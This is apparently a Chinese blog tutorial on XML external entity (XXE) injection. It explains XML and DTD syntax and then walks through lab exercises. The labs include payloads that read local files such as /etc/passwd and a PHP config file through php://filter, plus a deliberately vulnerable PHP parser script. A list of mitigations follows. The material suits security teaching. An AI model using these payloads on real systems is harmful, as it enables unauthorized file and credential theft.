• XXE外部实体注入


    1.前置基础知识

    https://owasp.org/www-project-top-ten

    XML数据格式

    • 什么是 XML
      XML 是可扩展标记语言(EXtensible Markup Language),XML 是独立于软件和硬件的信息传输工具。
    • XML的特点
    1. 是一种可扩展标记语言
    2. 被设计来进行数据传输
    3. 标签没有被预定义,需要自行定义标签 <title>  <xxe>xxe>
    4. 具有层级结构  
    5. 具有自我描述性
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • XML作用
    1. 简化数据共享
    2. 简化数据传输
    3. 简化平台变更
    4. 使数据更加有用
    5. 把数据从 HTML 分离
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • XML 和 HTML 之间的差异
    XML:用来传输和存储数据,其焦点是数据的内容,旨在传输信息。
    HTML: 用来显示数据,其焦点是数据的外观,旨在显示信息。
    
    • 1
    • 2
    • XML数据格式—组成
    • (1)元素/节点
      1. 根元素: 有且必须只有一个根元素
      2. 子元素: 可以嵌套,可以重复
      3. 每个元素必须成对出现
    
    • 1
    • 2
    • 3
    • (2)属性
      1. 每个元素/节点可以有多个属性
      2. 属性以键值对的方式出现:名称=“值”。属性的值添加双引号,多个属性以空格分开。
    
    • 1
    • 2
    • (3)实体DTD
      在这里插入图片描述
    <bookstore>
    <book category="COOKING">  名称=“值”
      <title lang="en">Everyday Italiantitle> 
      <author>Giada De Laurentiisauthor> 
      <year>2005year> 
      <price>30.00price> 
    book>
    <book category="CHILDREN">
      <title lang="en">Harry Pottertitle> 
      <author>J K. Rowlingauthor> 
      <year>2005year> 
      <price>29.99price> 
    book>
    <book category="WEB">
      <title lang="en">Learning XMLtitle> 
      <author>Erik T. Rayauthor> 
      <year>2003year> 
      <price>39.95price> 
    book>  <book>    BooK>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 语法规范
    1. 开闭合元素一致 大小写敏感
    2. 属性值必须加引号,单双都可
    3. 标签必须正确嵌套
    4. XML中空格会被保留,不像html中只保留一个
    
    • 1
    • 2
    • 3
    • 4
    • 注意

    XML不会做任何事情, 仅仅是纯文本 , 有能力处理纯文本的软件都可以处理 XML。
    我们需要编写软件或者程序,才能传送、接收和显示出这个文档。

    DTD-实体

    ①定义:

    DTD全称是The document type
    definition,即是文档类型定义,可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD 可被成行地声明于
    XML 文档中,也可作为一个外部引用。

    ②DTD分类

    (1)内部DTD

    1.内部的 DOCTYPE 声明
    语法格式:
    DOCTYPE 内部实体名称(根元素名称) [        
         元素声明      
     ]>
    
    • 1
    • 2
    • 3
    • 4
    • 5
          
    DOCTYPE note [     //!DOCTYPE note 定义此文档是 note 类型的文档
      <!ELEMENT note (to,from,heading,body)>    //!ELEMENT note 定义 note 元素有四个元素:"to、from、heading,、body"
      <!ELEMENT to     (#PCDATA)>   //!ELEMENT to 定义 to 元素为 "#PCDATA" 类型
      <!ELEMENT from   (#PCDATA)>		//!ELEMENT from 定义 from 元素为 "#PCDATA" 类型
      <!ELEMENT heading (#PCDATA)>	//!ELEMENT heading 定义 heading 元素为 "#PCDATA" 类型
      <!ELEMENT body   (#PCDATA)>		//!ELEMENT body 定义 body 元素为 "#PCDATA" 类型
    ]>
    //pcdata  解析字符数据 < ? !
    <note>
      <to>Georgeto>
      <from>Johnfrom>
      <heading>Reminderheading>
      <body>Don't forget the meeting!body>
    note>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15

    (2)外部DTD

     DTD 位于 XML 源文件的外部
    语法格式:
    DOCTYPE  外部实体名称  SYSTEM、PUBLIC(根元素名称) "URI/URL'">
    
    • 1
    • 2
    • 3
    
    DOCTYPE note SYSTEM "note.dtd">
    <note>
    <to>Georgeto>
    <from>Johnfrom>
    <heading>Reminderheading>
    <body>Don't forget the meeting!body>
    note> 
    
    
    //这是位于 XML 源文件的外部的 DTD "note.dtd" 文件:
    <!ELEMENT note (to,from,heading,body)>
    <!ELEMENT to (#PCDATA)>
    <!ELEMENT from (#PCDATA)>
    <!ELEMENT heading (#PCDATA)>
    <!ELEMENT body (#PCDATA)>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16

    ③DTD实体

    1.实体定义:实体是用于定义引用普通文本或特殊字符的快捷方式的变量,实体可在内部或外部进行声明。

    • (1)内部实体:
    语法: <!ENTITY entity-name "entity-value">  
    
    • 1
    DTD 实例:
    
    <!ENTITY writer "Donald Duck.">
    <!ENTITY copyright "Copyright runoob.com">
    
    XML 实例:
    
    <author>&writer;©right;author> 
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • (2)外部实体
    语法:    
    
    • 1
    DTD 实例:
    
    <!ENTITY writer SYSTEM "http://www.runoob.com/entities.dtd">
    <!ENTITY copyright SYSTEM "http://www.runoob.com/entities.dtd">
    
    XML example:
    
    <author>&writer;&copyright;</author> 
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    关键字:
    system:表示实体来自本地计算机  
    public:表示实体来自公共计算机  
    支持协议类型:
    外部引用不同版本支持协议不同,具体如下:
    
    • 1
    • 2
    • 3
    • 4
    • 5

    在这里插入图片描述

    .net 就是aspx

    • (3)参数实体
    语法:<!ENTITY  % 实体名称 [SYSTEM]  "URL">
    
    • 1
    DOCTYPE author[
    	<!ENTITY %  writer "Donald Duck.">
    ]>
    <author>%writer;author>
    
    • 1
    • 2
    • 3
    • 4
    注意: 实体引用由三部分构成: 一个和号 (&,%), 一个实体名称, 以及一个分号 (;)
    
    • 1

    ④DTD元素

    在这里插入图片描述

    PCDATA: 解析字符数据。 XML 的特殊字符(&、< 和 >)在 PCDATA 中可以识别,并用于解析元素名称和实体。PCDATA(字符数据)区域被解析器视为数据块,从而允许您在数据流中包含任意字符。

    XML与DTD结合

    在这里插入图片描述

    2.外部实体注入漏洞定义:

    XXE(xml external entity injection)即xml外部实体注入漏洞。
    XXE是针对应用程序解析XML输入类型的攻击。也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。

    攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题。

    3.漏洞产生原因:

    xxe漏洞核心就是允许了引入外部实体的加载,导致程序在解析xml的时,可以加载恶意外部文件,从而造成文件读取等危害。

    5.漏洞利用


    实验一 相关靶场环境:pikachu

    • 1.通过数据包判断是否存在xml相关传参
      在这里插入图片描述

    • 2.修改xml参数,写入xml相关标签代码,放包,可以看到页面有回显,说明存在回显式xxe漏洞
      在这里插入图片描述在这里插入图片描述

    • 3.利用内部实体进行输出

    • payload构造

    xml version="1.0"?>
    <!DOCTYPE poc [
      <!ENTITY aa 'xxe' > ]>
    <na>&aa;</na>  //对实体aa进行引用,不是标签poc
    
    • 1
    • 2
    • 3
    • 4

    在这里插入图片描述

    • 4.利用外部实体读取相关文件
    • payload构造
    xml version="1.0"?>
    <!DOCTYPE ANY [
    <!ENTITY aa SYSTEM "file:///E:/3.txt" >
    ]><x>&aa;</x>
      
      
    //file:///path/to/file.ext
    //http://url/file.ext
    //php://filter/read=convert.base64-encode/resource=conf.php
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    在这里插入图片描述

    还可以利用file:///etc/passwd或者其他支持伪协议,获取密码等其他敏感文件


    实验二、相关靶场环境:xxe-php

    
    
    
    $USERNAME = 'admin'; //账号
    $PASSWORD = 'admin'; //密码
    $result = null;
    
    libxml_disable_entity_loader(false);//
    $xmlfile = file_get_contents('php://input'); //对文件进行相关读取
    //file_put_contents(1.txt,'dddddd');文件写入
    
    try{ 			//捕获程序中的异常,匹配后进行相关输出
    	$dom = new DOMDocument();
    	$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
    	$creds = simplexml_import_dom($dom);
    
    	$username = $creds->username;
    	$password = $creds->password;
    
    	if($username == $USERNAME && $password == $PASSWORD){
    		$result = sprintf("%d%s",1,$username);
    	}else{
    		$result = sprintf("%d%s",0,$username);
    	}	
    }catch(Exception $e){
    	$result = sprintf("%d%s",3,$e->getMessage());
    }
    
    header('Content-Type: text/html; charset=utf-8');
    echo $result;
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31

    涉及相关函数:libxml_disable_entity_loader(false):允许xml加载外部实体
    file_get_contents():把整个文件读入一个字符串中 file_put_contents() 函数把一个字符串写入文件中。
    try catch :
    1.功能:程序异常捕获
    2.语法:
    在这里插入图片描述

    LIBXML_NOENT: 替代实体。将 XML 中的实体引用 替换 成对应的值 LIBXML_DTDLOAD: 加载外部子集。 加载
    DOCTYPE 中的 DTD 文件
    通过php://input协议获取POST请求数据,然后把数据通过file_get_contents()函数,放在$xmlfile变量中。
    simple_import_dom():
    1.功能:把 DOM 节点转换为 SimpleXMLElement 对象。对xml进行实体化 如果失败,则该函数返回 false。
    2.语法:simplexml_import_dom(data,class)
    3.相关参数:
    在这里插入图片描述
    4.实例:
    在这里插入图片描述

    • 输出:John
    • 1.抓包对数据包进行分析
      在这里插入图片描述
      重发包,发现数据存在外带情况,对其进行利用
      在这里插入图片描述

    3.payload构造
    XML与DTD语法结构:xml声明
    DTD实体
    xml部分
    在这里插入图片描述

    xml version="1.0"?>
    
      <!DOCTYPE note [     //note标签:指定公开文本描述,即对引用的公开文本的唯一描述性名称。!DOCTYPE note 定义此文档是 note 类型的文档
        <!ENTITY poc SYSTEM "file:///E:/3.txt">   //entity实体
    ]> 
       
    <user><username>&poc;</username><password>qwe</password></user>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 对实体进行引用 (实体相当于变量)
      在这里插入图片描述在这里插入图片描述

    ==3.相关工具 ==

    1. https://www.xxe.sh/:一个方便的网站,可以输入您的域名并生成 OOB XXE PoC。 //盲注 Out-of-band

    在这里插入图片描述

    1. staaldraad/xxeserv:简化 FTP 服务器的设置以通过 FTP 接收 OOB XXE。 用法 此处
    2. RequestBins:一个方便的网站,用于捕获来自易受攻击的服务器的 DNS 查询/HTTP 请求。
    3. Ngrok:生成临时域并将 TCP 连接转发到本地机器的工具
    4. jbarone/xxelab: 带有 python XXE shell 的 PHP 应用程序

    6.判断是否存在xxe?

    1. 有源码情况:

    寻找相关函数 如:simplexml_load_string();检测XML是否会被解析。

    1. 无源码:

    抓包,看报文是否包含 xml传参,如果是xml格式的body,则发送一个数据查看是否能回显, 有则直接攻击,无则参考无回显的xxe攻击。
    在这里插入图片描述
    3. 直接传xml代码, 检测服务器是否支持外部实体。

    7.漏洞危害:

    1. 任意文件读取 。通过file协议等进行辅助读取源代码/配置文件
    2. 执行系统命令
    3. 服务器端请求伪造
      1. 暴露内部服务。
      2. 通过“端口扫描”枚举内部服务。
      3. 通过元数据实例窃取云凭证。
    4. DOS拒绝服务
    5. 解析器细节可能的影响
      1. 目录列表(仅适用于 Java SAX 解析器)
      2. 远程代码执行(仅适用于 PHP/expects 或 ASP)

    8.漏洞防范:

    1. 过滤和验证用户提交的XML数据
      过滤关键词
    2. 禁用外部实体方法
    PHP:
    libxml_disable_entity_loader(true);
    
    JAVA:
    DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
    dbf.setExpandEntityReferences(false);
    
    Python:
    from lxml import etree
    xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    1. 禁止XML中包含除自己外声明的DTD
    2. 有效的措施:配置XML parser只能使用静态DTD,禁止外来引入;对于Java来说,直接设置相应的属性值为false即可
    3. 一个最小的平台,没有任何不必要的功能、组件、 文档和样本。 删除或不安装未使用的功能 和框架。
    4. 及时审查和更新相关补丁包
    5. 注意: XXE的造成与libxml库的版本有关,与PHP版本无关。libxml <= 2.9.0中,默认启用了外部实体,libxml>2.9.0中默认禁用了外部实体。XXE并不是直接由libxml库造成,libxml库提供了一些XML核心功能,包括禁用外部实体的libxml_disable_entity_loader()函数,SimpleXML库提供了解析XML的函数,SimpleXML库依赖于libxml库。
  • 相关阅读:
    自定义spring-boot-starter
    Flink同步Kafka数据到ClickHouse分布式表
    黑客(网络安全)技术速成自学
    servlet的简单使用总结
    代码随想录算法训练营第三十一天丨 贪心算法part02
    Python 自定义包和模块随机生成6位验证码(详解版)
    洗地机哪个品牌最好最实用?口碑最好的洗地机
    linux系统中mysql 连接出现“too many connections”问题解决办法
    [附源码]Java计算机毕业设计SSM读书网络社区设计
    CISAW信息安全保障人员认证考试难吗?
  • 原文地址:https://blog.csdn.net/weixin_46065653/article/details/127619674